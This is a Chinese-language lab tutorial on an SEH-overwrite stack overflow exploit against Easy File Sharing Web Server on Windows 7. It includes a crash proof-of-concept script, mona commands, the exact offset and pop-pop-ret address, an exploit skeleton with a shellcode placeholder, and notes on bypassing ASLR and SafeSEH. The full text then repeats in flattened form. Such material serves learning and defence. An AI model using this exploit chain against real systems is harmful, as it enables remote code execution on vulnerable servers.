Windows漏洞学习之栈溢出覆盖SEH
字数 1673 2025-08-07 08:22:00

Windows漏洞利用:栈溢出覆盖SEH机制详解

0x00 SEH机制基础

SEH概念

结构化异常处理(Structured Exception Handling, SEH)是Windows系统提供的一种错误恢复机制,允许开发人员指定程序遇到异常时运行的特殊处理代码。

SEH链结构

  • 每个程序都有一个SEH链,即使没有显式编写错误处理代码
  • SEH链由一系列异常处理块组成,形成多级回退机制
  • 每个SEH结构体包含两个成员:
    • NEXT SEH:指向下一个SEH结构体的指针
    • SEH Handler:异常处理函数的地址

0x01 利用原理

基本思路

  1. 通过栈溢出覆盖SEH结构体
  2. 将SEH Handler覆盖为攻击者控制的地址
  3. 触发异常使程序执行被覆盖的SEH Handler
  4. 通过精心构造的指令流最终执行shellcode

关键优势

  • 可绕过GS栈保护机制
  • 不依赖固定的返回地址
  • 利用系统自身的异常处理机制

0x02 实验环境

实验组件

  • 攻击机:Kali Linux 2021.2
  • 靶机:Windows 7旗舰版
  • 漏洞软件:Easy File Sharing Web Server 2018
  • 调试工具
    • Immunity Debugger(带mona插件)
    • x32dbg
    • IDA Pro

漏洞概述

Easy File Sharing Web Server 6.9存在用户名长度校验缺失漏洞,导致缓冲区溢出,可覆盖SEH结构。

0x03 漏洞利用步骤

1. 确认漏洞

构造POC发送5000个字符验证漏洞:

import socket
import sys

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket()
s.connect((host, port))
s.send("GET " + "A"*5000 + " HTTP/1.0\r\n\r\n")
s.close()

2. 定位偏移量

使用mona生成定位模式:

!mona pattern_create 5000

发送模式字符串后使用mona分析:

!mona findmsp

确定SEH偏移为4061字节。

3. 构造利用链

关键组件:

  • NEXT SEH:跳转指令(如\xeb\x14\x90\x90
  • SEH Handler:pop-pop-ret指令地址
  • NOP雪橇\x90填充
  • Shellcode:实际执行的恶意代码

4. 寻找pop-pop-ret

使用mona搜索:

!mona seh

选择满足条件的地址:

  • 来自未启用ASLR和SafeSEH的模块
  • 不包含\x00等坏字符
  • 寄存器影响最小

5. 最终EXP结构

offset = 'A' * 4061          # 填充到SEH偏移
Nseh = "\xeb\x14\x90\x90"    # jmp +0x14
seh = "\xa3\x02\x01\x10"     # pop-pop-ret地址
nop = "\x90" * 20            # NOP雪橇
shellcode = "..."            # 实际shellcode
fill = "B" * (5000 - len(offset + Nseh + seh + nop + shellcode))
exploit = offset + Nseh + seh + nop + shellcode + fill

0x04 技术细节解析

异常处理流程

  1. 异常发生时,系统执行异常回调
  2. 栈中压入EXCEPTION_DISPOSITION结构
  3. 通过EstablisherFrame定位SEH链
  4. 执行被覆盖的SEH Handler

pop-pop-ret原理

  1. 第一个pop将ESP+4,移过ExceptionRecord
  2. 第二个pop将ESP+4,指向EstablisherFrame(即NEXT SEH)
  3. ret将执行NEXT SEH中的指令

跳转设计

  • jmp +0x14跳过后续的SEH结构和部分NOP
  • NOP雪橇确保跳转准确命中shellcode
  • 实际偏移需通过调试确定

0x05 漏洞根源分析

漏洞调用链

sprintf() → sub_500050() → write_string() → write_char() → sub_496600 → sqlite3_prepare_v2 → sqlite3LockAndPrepare → sqlite3SafetyCheckOk

根本原因

sub_52D225函数中:

  1. 使用lstrlenA()获取报文字符串长度
  2. 未进行长度校验
  3. 直接使用memcpy_0()复制到栈上
  4. 导致栈缓冲区溢出

0x06 防护绕过技术

对抗ASLR

  • 使用未启用ASLR的模块中的地址
  • 通过mona查找符合条件的模块

对抗SafeSEH

  • 选择未启用SafeSEH的模块
  • 使用模块中的合法指令序列

稳定性增强

  • 增加NOP雪橇长度提高跳转容错
  • 使用多级跳转确保执行流控制
  • 添加填充确保触发异常

0x07 实验注意事项

  1. 调试时注意观察寄存器状态变化
  2. 每次修改payload后重启服务程序
  3. 确保跳转偏移计算准确
  4. 注意坏字符过滤
  5. 多使用调试器验证执行流

0x08 扩展思考

  1. 如何在没有pop-pop-ret指令的情况下利用SEH?
  2. 当所有模块都启用ASLR时的利用方法?
  3. 如何绕过更新的SEH保护机制?
  4. 64位系统下的SEH利用差异?

通过本实验,可以深入理解Windows异常处理机制和栈溢出利用技术,为后续更复杂的漏洞利用研究打下基础。

Windows漏洞利用:栈溢出覆盖SEH机制详解 0x00 SEH机制基础 SEH概念 结构化异常处理(Structured Exception Handling, SEH)是Windows系统提供的一种错误恢复机制,允许开发人员指定程序遇到异常时运行的特殊处理代码。 SEH链结构 每个程序都有一个SEH链,即使没有显式编写错误处理代码 SEH链由一系列异常处理块组成,形成多级回退机制 每个SEH结构体包含两个成员: NEXT SEH :指向下一个SEH结构体的指针 SEH Handler :异常处理函数的地址 0x01 利用原理 基本思路 通过栈溢出覆盖SEH结构体 将SEH Handler覆盖为攻击者控制的地址 触发异常使程序执行被覆盖的SEH Handler 通过精心构造的指令流最终执行shellcode 关键优势 可绕过GS栈保护机制 不依赖固定的返回地址 利用系统自身的异常处理机制 0x02 实验环境 实验组件 攻击机 :Kali Linux 2021.2 靶机 :Windows 7旗舰版 漏洞软件 :Easy File Sharing Web Server 2018 调试工具 : Immunity Debugger(带mona插件) x32dbg IDA Pro 漏洞概述 Easy File Sharing Web Server 6.9存在用户名长度校验缺失漏洞,导致缓冲区溢出,可覆盖SEH结构。 0x03 漏洞利用步骤 1. 确认漏洞 构造POC发送5000个字符验证漏洞: 2. 定位偏移量 使用mona生成定位模式: 发送模式字符串后使用mona分析: 确定SEH偏移为4061字节。 3. 构造利用链 关键组件: NEXT SEH :跳转指令(如 \xeb\x14\x90\x90 ) SEH Handler :pop-pop-ret指令地址 NOP雪橇 : \x90 填充 Shellcode :实际执行的恶意代码 4. 寻找pop-pop-ret 使用mona搜索: 选择满足条件的地址: 来自未启用ASLR和SafeSEH的模块 不包含 \x00 等坏字符 寄存器影响最小 5. 最终EXP结构 0x04 技术细节解析 异常处理流程 异常发生时,系统执行异常回调 栈中压入 EXCEPTION_DISPOSITION 结构 通过 EstablisherFrame 定位SEH链 执行被覆盖的SEH Handler pop-pop-ret原理 第一个 pop 将ESP+4,移过 ExceptionRecord 第二个 pop 将ESP+4,指向 EstablisherFrame (即NEXT SEH) ret 将执行NEXT SEH中的指令 跳转设计 jmp +0x14 跳过后续的SEH结构和部分NOP NOP雪橇确保跳转准确命中shellcode 实际偏移需通过调试确定 0x05 漏洞根源分析 漏洞调用链 根本原因 sub_52D225 函数中: 使用 lstrlenA() 获取报文字符串长度 未进行长度校验 直接使用 memcpy_0() 复制到栈上 导致栈缓冲区溢出 0x06 防护绕过技术 对抗ASLR 使用未启用ASLR的模块中的地址 通过mona查找符合条件的模块 对抗SafeSEH 选择未启用SafeSEH的模块 使用模块中的合法指令序列 稳定性增强 增加NOP雪橇长度提高跳转容错 使用多级跳转确保执行流控制 添加填充确保触发异常 0x07 实验注意事项 调试时注意观察寄存器状态变化 每次修改payload后重启服务程序 确保跳转偏移计算准确 注意坏字符过滤 多使用调试器验证执行流 0x08 扩展思考 如何在没有pop-pop-ret指令的情况下利用SEH? 当所有模块都启用ASLR时的利用方法? 如何绕过更新的SEH保护机制? 64位系统下的SEH利用差异? 通过本实验,可以深入理解Windows异常处理机制和栈溢出利用技术,为后续更复杂的漏洞利用研究打下基础。